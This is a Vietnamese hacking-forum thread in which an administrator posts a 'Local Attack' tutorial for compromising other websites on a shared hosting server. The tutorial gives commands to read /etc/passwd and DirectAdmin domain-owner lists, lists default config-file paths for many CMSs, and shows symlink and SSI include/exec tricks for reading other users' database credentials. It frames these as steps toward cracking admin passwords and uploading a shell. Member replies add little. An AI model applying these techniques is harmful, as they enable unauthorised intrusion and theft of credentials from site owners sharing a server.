Thành viên trực tuyến

Ai đang trực tuyến
  1. newbiepk,
  2. Đỗ Hoàng Phát,
  3. khangpaypy11,
  4. nguyenthinh,
  5. cuonga4aa,
  6. vn5socks.net,
  7. sanghouse1868,
  8. cuopro88,
  9. acquyhiendai,
  10. masterd,
  11. longhsyc
Tổng: 186 (Thành viên: 11, Khách: 167, Robots: 8)

[Bài 2 - Local Attack] Các Phương Pháp Local Attack

Thảo luận trong 'Local Attack' bắt đầu bởi DuyKhang, 21/12/15.

  1. DuyKhang

    DuyKhang

    Offline
    ADMINISTRATOR Thành viên BQT
    Tham gia ngày:
    14/12/15
    Bài viết:
    407
    Đã được thích:
    77,655
    Để hoàn thành bộ tut Local Attack full, hôm nay mình sẽ giới thiệu bài 2, cũng chính là bài quan trọng và trọng tâm nhất trong Local Attack. Trước khi đi vào bài 2, các bạn có thể đọc qua và lấy 1 số tool cần thiết từ bài - Please login or register to view links

    ------------------------Nhắc lại trình tự các bước Local Attack------------------------

    1- View danh sách các user trong server
    2- Tìm file config.php
    3- Get thông tin login vào database
    4- Crack hoặc change pass admin
    5- Login vào quyên quản trị và upshell

    1- View danh sách các user trên server

    Muốn local được 1 site nào đó trên server thì trướ tiên cần phải xác định site đó có user là gì, source code là gì từ đó tìm cách đọc file config.php của user đó


    - Một số câu lệnh để get user:

    Lệnh phổ biến nhất:
    Mã:
    Cat /etc/passwd
    Tuy nhiên một số server cấm lệnh cat, có thể sử dụng các lệnh sau một cách linh hoạt
    Mã:
    Less /etc/passwd
    ./cat/etc/passwd
    More /etc/passwd
    - Câu lênh get user & domain

    PHP:
    Cat /etc/virtual/domainowners  Chỉ dùng đối với direct admin )
    2- Tìm file path file config.php

    Đối với các mã nguồn mở thì path file config được mặc định như sau:
    Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html

    PHP:
    -          Vbulletin:
    path/includes/config.php
    -          Mybb:
    path/inc/config.php
    -          Joomla:
    path/configuration.php
    -          Word-Press:
    path/wp-config.php
    -          Ibp:
    path/conf_global.php
    -          Php-fusion:
    path/config.php
    -          Smf:
    Path/Settings.php
    -          Nuke:
    path/config.php
    -          Xoops:
    path/mainfile.php
    -          Zen Cart
    Path
    /includes/configure.php
    -          path/setidio:
    path/datas/config.php
    -          Datalife Engine:
    path/engine/data/config.php
    -          Phpbb:
    Path/config.php
    -          Wordpress:
    path/wp-config.php
    -          Seditio:
    path/datas/config.php
    -          Drupal:
    path/sites/default/settings.php
                           
    -   Discuz 
              path
    /config/config_ucenter.php
                           
    -  Bo-Blog
               path
    /data/config.php
    - Đây là path mặc định đối với các mã nguồn mở, còn đối với site tự code thì thông thường path vẫn đặt hay ngay sau thư mục public_html ( path/config.php ).

    - Đối với các quản trị viên chú ý đến tính năng bảo mật, phòng tránh local attack thì họ thường dấu kỹ và thay đổi path dẫn đến file config, trong trường hợp này cần phải dò path bắt đầu từ file index đi vào. Soleil sẽ lấy ví dụ dò path file config đối với vbulletin chẳng hạn:

    PHP:
    Forum.php -> global.php -> includes/class_bootstrap -> includes/init.php -> includes/class_core.php -> includes/config.php
    ( Để tìm kiếm path trong source, search theo từ khóa: “cwd”, ta sẽ thấy đoạn code tương tự như: “require_once(CWD . '/includes/init.php');” - Đây là path mặc định dẫn tới file init.php))……

    3- Get thông tin file config

    Phần này chính là phần trọng tâm nhất trong bộ tut local attack. Trong phần này soleil sẽ giới thiệu đầy đủ các kỹ thuật cơ bản để local attack.

    3.1- Trước hết ta cần tìm hiểu qua về các câu lệnh cơ bản trong linux ứng dụng cho local attck:

    - Ls , dir : Liệt kê tên các file bên trong thư mục
    ls -al, ls -lia: Liệt kê tên và thuộc tính các file bên trong thư mục

    PHP:
    Ls -lia /public_html/upload/includes.config.php
    HTML:
    -          Cat, ./cat, less, more, tail :  View nôi dung bên trong các file:
    HTML:
    Cat /public_html/upload/includes/config.php
    - Ln : Lệnh symbolic link:

    HTML:
    Ln -s /public_html/upload/includes/config.php dk.ini
    - Cd: Chuyển đổi thư mục
    Ví dụ muốn chuyển tới thư mục soleil”
    Cd /public_html/upload/includes/duykhang
    cd ~ : Tới thư mục home dictionary
    cd -: Quay lại thư mục vừa làm việc
    cd ..: Tới thư mục kề bên ngoài thư mục đang làm việc

    - Chmod: Phân quyền cho các file hoặc thư mục:
    Chmod 400 config.php ( đang làm việc trong thư mục includes chứa file config.php )

    - Mkdir: tạo thư mục:

    Ví du muốn tạo thư mục duykhang trong thư mục includes:
    Mkdir /public_html/upload/includes/duykhang
    - Touch : Tạo file:
    Mã:
    touch /public_html/upload/includes/duykhang.php 
    - Tar, zip: Lệnh nén và giải nén: thường sử dụng trong symlink root
    Tar –zcvf duykhang.tar.gz duykhang ( Nén thư mục duykhang thành file duykhang.tar.gz)
    Tar –zxvf duykhang ( giải nén file duykhang.tar.gz)

    Zip –r -9 duykhang.zip duykhang ( Nén thư mục duykhang thành file duykhang.zip)
    Zip -p duykhang.zip ( Giải nén file duykhang.tar.gz)

    3.2- Phần tiếp theo mình sẽ trình bày 1 số kỹ thuật dùng để lấy thông tin file config.php

    1- Sử dụng các lệnh cat, dir để xem tên thư mục, tệp tin và đọc nội dung tệp tin.

    Ví dụ:
    HTML:
    dir /public_html/upload/includes
    cat /public_html/upload/includes/config.php
    Nhưng hiện nay phần lớn các server đều không cho phép thực thi những hàm này nên ứng dụng phương pháp này không mấy khả thi

    2- Sử dụng Symbolic link – Gọi tắt là symlink

    Symbolic link là kỹ thuật cơ bản và gần như là quan trọng mà phần lớn các attaker nghĩ đến đầu tiên trước khi thực hiện công việc local attack.
    Mã:
    Ln -s /public_html/upload/includes/config.php duykhang.ini
    Có thể hiểu đơn giản là tạo 1 file soleil.ini trên host có nội dung giống file config.php của user GLATEAM trên server có path /public_html/upload/includes/config.php
    Có thể thay duykhang.ini bằng .txt nhưng do thói quen mình vẫn hay sử dụng .ini hơn bởi vì đối với 1 số server bị lỗi nó có thể bypass permissions 400.

    3- Sử dụng symlink kết hợp với ssi:

    Đối với 1 sô server khi symbolick link bình thường xuất hiên 403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ đến đó là kết hợp với ssi.
    - Tạo 1 file duykhang.shtml với nội dung như sau:

    <!--#include virtual="duykhang.ini"-->

    Trong đó file soleil.ini là file đã được symbolic link trên server.
    Bây giờ view source của file duykhang.shtml ta sẽ thấy đc nội dung file duykhang.ini đã symbolic link.

    4- Chạy lệnh bằng file .shtml
    - Tuy nhiên có 1 số server cả 2 cách đó đều không áp dụng được nhưng nó lại cho chạy lệnh bằng file .shtml

    <!--#exec cmd="cat /etc/passwd"-->

    - Lệnh xem file logs như sau:

    <!--#exec cmd="tail -n 10000 /var/log/httpd/domains/glateam.com.error.log"-->

    Lưu ý: + lệnh tail cũng giống như lệnh cat nhưng nó dùng để xem nhưng dòng cuối cùng của file trên server.
    + /var/log/httpd/domains/glateam.com.error.log là path dẫn đến file error.log của direct admin
    + Còn path dẫn đến file error.log của cpanel là: /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến file error.log khác nhau.
     
  2. bon_kali

    bon_kali

    Offline
    MEMBER
    Tham gia ngày:
    21/12/15
    Bài viết:
    0
    Đã được thích:
    0
    Mình góp ý là các lệnh trong bài, chữ đầu không viết hoa nha :D, viết hoa là không chạy đâu ;)
     
  3. JiroThinh

    JiroThinh

    Offline
    MEMBER
    Tham gia ngày:
    22/12/15
    Bài viết:
    0
    Đã được thích:
    0
    Cái đoạn
    là sao ạ cho em cái vd ạ tại em chậm tiêu lắm
     
  4. DuyKhang

    DuyKhang

    Offline
    ADMINISTRATOR Thành viên BQT
    Tham gia ngày:
    14/12/15
    Bài viết:
    407
    Đã được thích:
    77,655
    tức là áp dụng lệnh này đối với riêng host dùng direct admin [​IMG]
     
  5. badzboy88888

    badzboy88888

    Offline
    MEMBER
    Tham gia ngày:
    2/4/18
    Bài viết:
    20
    Đã được thích:
    0
    upppppppppppppppppppppppppppppp
     

Chia sẻ trang này